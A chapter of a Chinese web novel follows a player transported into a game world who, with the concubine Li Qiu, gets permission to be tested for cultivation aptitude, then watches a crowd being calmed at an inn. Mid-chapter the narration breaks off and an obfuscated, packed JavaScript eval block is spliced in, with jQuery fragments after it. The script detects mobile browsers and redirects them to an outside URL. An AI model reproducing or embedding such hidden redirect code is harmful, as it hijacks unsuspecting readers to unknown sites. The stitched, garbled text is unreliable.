秋雪斋内。
进屋时暖香扑面而来。
“站着做什么?”她眼皮微抬,“坐下等吧。”
闻言立马规规矩矩坐下来,崔峨扬起笑脸,“夫人啊……”
“我姓贺。”贺涟道。
“噢噢,贺姐姐呐。”
没应,贺涟只专注地用指尖蘸了点儿茶水,点在鹦鹉喙边。
那鹦鹉歪头啄饮,黑豆眼珠滴溜溜转着,偶尔发出细微的咕噜声。
“贺姐姐,”崔峨想着多套点话,“待会儿……他……来了,我们……我们该怎么说?”
崔峨心道,自己还是不适应什么老爷啊之类的称呼。
“实话实说。”她语气平平,“难道你们那点心思,还值得我帮你们编个花儿出来?”
提起黎府老爷,门外便传来了脚步声。
帘子被猛地掀开,黎知慈进来时蹙着眉。
一来便步入正题,“深更半夜,要说什么体己话?”
黎秋话都说不利索,“父、父亲……我……”
“也不是什么大事。她说,她也想去修仙。”贺涟的指尖指向了崔峨,“还有这个侍女,嚷嚷着要同去。”
“胡闹什么,”他蹙眉,“修仙?黎秋,我平日是如何教导你的?那些都是装神弄鬼、不入流的货色。”
“真正的通天大道,是圣贤书。你是我黎家的女儿,竟还想着那些事。”
“父亲!”黎秋尖叫一声。
“老爷,火气别这么大。”贺涟的声音依旧没什么起伏,她抬眼,目光平静地与黎知慈对视,“她们既然想去,便让她们去试试,又如何?”
“让她们去测试一番,若有灵根,皆大欢喜;若无,回来禁足半年。”
“总归那些仙人还在这安阳郡不是。”
“成了,是黎家的造化;不成,也无伤大雅。”
她半遮着嘴,又道:“老爷也知道,我这个人向来就是有什么话就说什么话。今日说这些,完全就是为了您好。”
黎知慈看着贺涟,像是要从她脸上找出戏弄的痕迹。
但贺涟只是在百无聊赖地逗着鹦鹉。
良久,他从鼻子里哼出一声。
他目光剐过崔峨和黎秋,“既然你们不死心,我便让你们去碰这个钉子。也让你们知道,何为天命有定,何为尊卑有序!”
黎知慈甩袖便走,但临门口,忽又停住脚步,“记住,若无资质,黎秋禁足一年。至于你……”他盯着崔峨,“挑唆小姐,黎府容不下你了。”
帘子啪地落下,隔绝了黎知慈离去的身影。
崔峨扶着惊魂未定的黎秋,忍不住想这游戏还真是把封建糟粕还原得够彻底的。
“怕了?”
贺涟的声音从窗边飘来。
她不知何时已支起窗棂,正望着外面沉沉的夜色,没有回头。
“现在后悔,还来得及。安稳过日子,不好么?”
黎秋咬着嘴唇,却是道:“我要去那里。”
崔峨更不怕了,紧紧握着黎秋的手。
“不怕。劳贺姐姐费心安排。”
贺涟这才转过身,灯火映照下,贺涟眼神似乎也因此柔和,“也不算费心。”
系统姗姗来迟:“温馨提示:在本世界死亡,即为真实死亡。”
“不能读档重来。”
听此,她沉默,“你好废啊。”
崔峨觉得自己面对它是真没有半点好脾气,而且按着不少小说描述,估摸有更大的危险等着她。
系统毫无波澜地补充:“你骂我也没用,不过我已向总部发送错误报告,正在等待回复。”
“其实也有好消息,作为玩家的你是注定拥有修行的天资,至少不必担心测试失败被赶出去了。”
这算什么好消息?”崔峨心下烦躁,却也无计可施,又看着身旁眼眶红红的黎秋,无声叹息。
她们所求的“机缘”,已然惊动了这座深宅的各个角落。不出所料,当晚,这消息便一字不落地传进了二夫人陆隽的耳里。
陆隽听闻后,轻声道了句:“挺好,挺好的。”随即唤来崔峨,如关切的长辈般细细叮嘱了许多。
“母亲一直很想你。”她语气温和,带着些许感慨,“若不是你阿姐去世得早,我身边缺个贴心人照料,原也不必让你来这黎府当差。如今阴差阳错闹出这样的事……或许,也是天意吧。”
陆隽的乳母崔妈妈便是这个身份里崔峨的母亲,崔峨今日的状态不好,陆隽难免要提点一番,免得惹了贺涟还不自知。
但想到今日,陆隽温柔又无奈地笑了笑,“最近觉得大夫人说得对,我确实是该休息休息了。”
话至此处,她忽而抬眼,轻声问道:“说起来,大夫人虽然看着不客气,说话也直接,但事实上不过是嘴硬心软罢了。我心底是真心敬重她的。”
她语气微顿,关怀道:“你与她接触这几回,对她……是个什么看法?”
崔峨听得一愣。
贺涟吗?
陆隽见她怔忡,颇为无奈,“你这几日的状态很是不对劲,我实在是忧心你,未想,你倒是变成这副呆呆模样了。”
她倾身向前,“莫不是被我……训斥傻了?”
崔峨回过神来,连忙摇头,“不曾,陆夫人多虑了。”
她想,指的应该就是那句“心不甘情不愿”。
陆隽细细端详她片刻,方才缓缓靠回椅背,似是放心,“没有便好。”
两人这般相谈,不知不觉竟耗去了近一个时辰。
崔峨有意引导,陆隽也似有心倾诉,借着这难得的独处,她倒也摸清了不少府内盘根错节的关系。
她大致理清了脉络,陆隽母家是经营中药生意的,她膝下有个亲生女儿名叫黎清;而五姑娘黎秋则是生母早亡,如今记在她名下抚养。
最令崔峨留意的,是那位大夫人贺涟。
她竟是半年前才入的黎府,乃新帝亲自指婚,与黎知慈结成的典型联姻,出身显赫,是御史大夫的千金。
当话头引向贺涟所求回报时,陆隽用茶盖轻轻拨着浮叶,唇角含笑:“贺姐姐眼界高,寻常谢礼,怕是入不了她的眼。你可有打算了?”
崔峨垂下眼:“有些模糊念头,但……还不成气候,不敢说出来惹夫人笑话。”
陆隽看了她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025135|194366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片刻,那笑意渐渐淡了,化作一声几不可闻的轻叹。她目光望向窗外浓稠的夜色,像在自言自语:“阿秋那孩子,性子执拗……此去福祸,难料啊。”她旋即收回目光,恢复了往常的温和,“罢了,时辰不早,你们明日还有要紧事,回去好生歇着吧。”
崔峨依言离开,行至门外时,她隐隐一声极轻的叹息。
“阿秋那孩子竟也……”
也什么?
正低头琢磨着,崔峨刚转过回廊的拐角,便险些与一人撞个满怀。
定睛一看,竟是黎秋。
小姑娘被一个婆子引着,正朝陆隽的院子来。她低垂着头,脸颊上还挂着未干的泪痕,在廊下灯笼的光晕里,映出点点湿亮的光。
她擦了擦眼,“崔姐姐……”
黎秋像受惊的小鹿般,快步隐入院门深深的阴影里。
崔峨望着她进去,忽感一阵疲惫,好在今日跟着人回房过,倒也记得路。
她一夜无梦。
翌日出发,竟是出乎意料的光明正大。
贺涟全无遮掩之意,如同携晚辈寻常出门一般,领着二人穿庭过院,径直出了黎府大门。马车早已候着。
登车坐定,贺涟目光扫过二人,最后那点规劝说得轻描淡写:“现在回头,安稳日子还在。踏出这一步,便再与黎府无关。前路自担。”
见两人沉默以对,她也不再言语,只慵懒地靠向车壁,闭目养神。
马车约莫行了一炷香的时间。当窗外嘈杂人声渐起,崔峨掀帘望去,“福来客栈”的招牌下,已是人潮汹涌。
长龙的尽头,数位身着各色法衣的仙人端坐在临设下的案几后。
她的目光不由自主被最前方那案后的身影吸引——一位身着朱青道袍的年轻人,袖口飞鹤栩栩如生。她正微微俯身,专注倾听一位衣衫褴褛的老妪诉说,神态温和耐心,与周围鼎沸的人声格格不入。
秩序在躁动中摇摇欲坠。推搡间,一个幼童被撞倒,哭声骤起,场面眼看要乱。
还好,一直立于侧旁的中年管事迅步上前。
她一边指挥人手稳住核心区域,一边已蹲下身,扶起孩童,变戏法似的摸出个糖人,温言软语几句,便将哭声止住。将孩子交还千恩万谢的妇人,她旋即站直,声音清亮地压过嘈杂:
“诸位乡亲,仙长慈悲,早知各位诚心!还请大家稍安勿躁,依序上前,方不辜负这份缘法!”
她说着,给旁边机灵的小二递了个眼色,声音愈发温和:“咱们这儿老人和孩子多,劳烦身强力壮的乡亲们多多体谅,互相礼让,亦是功德。”
随即又道:“各位等候辛苦,想必也口渴了。小福,去给大伙儿都上些温茶来,解解乏。”
这番言语如春风拂过,原本焦躁的人群渐渐平复下来,还传来几声由衷的附和:“这位娘子说得在理!”
“都不容易,别挤了!好好排队!”
经过她一番从容调度,大堂内终于恢复了井然的秩序。
好厉害。
得学一下。
崔峨每次见到这种画面都觉得很神奇,她好喜欢这种三言两语就能把控局面的场景。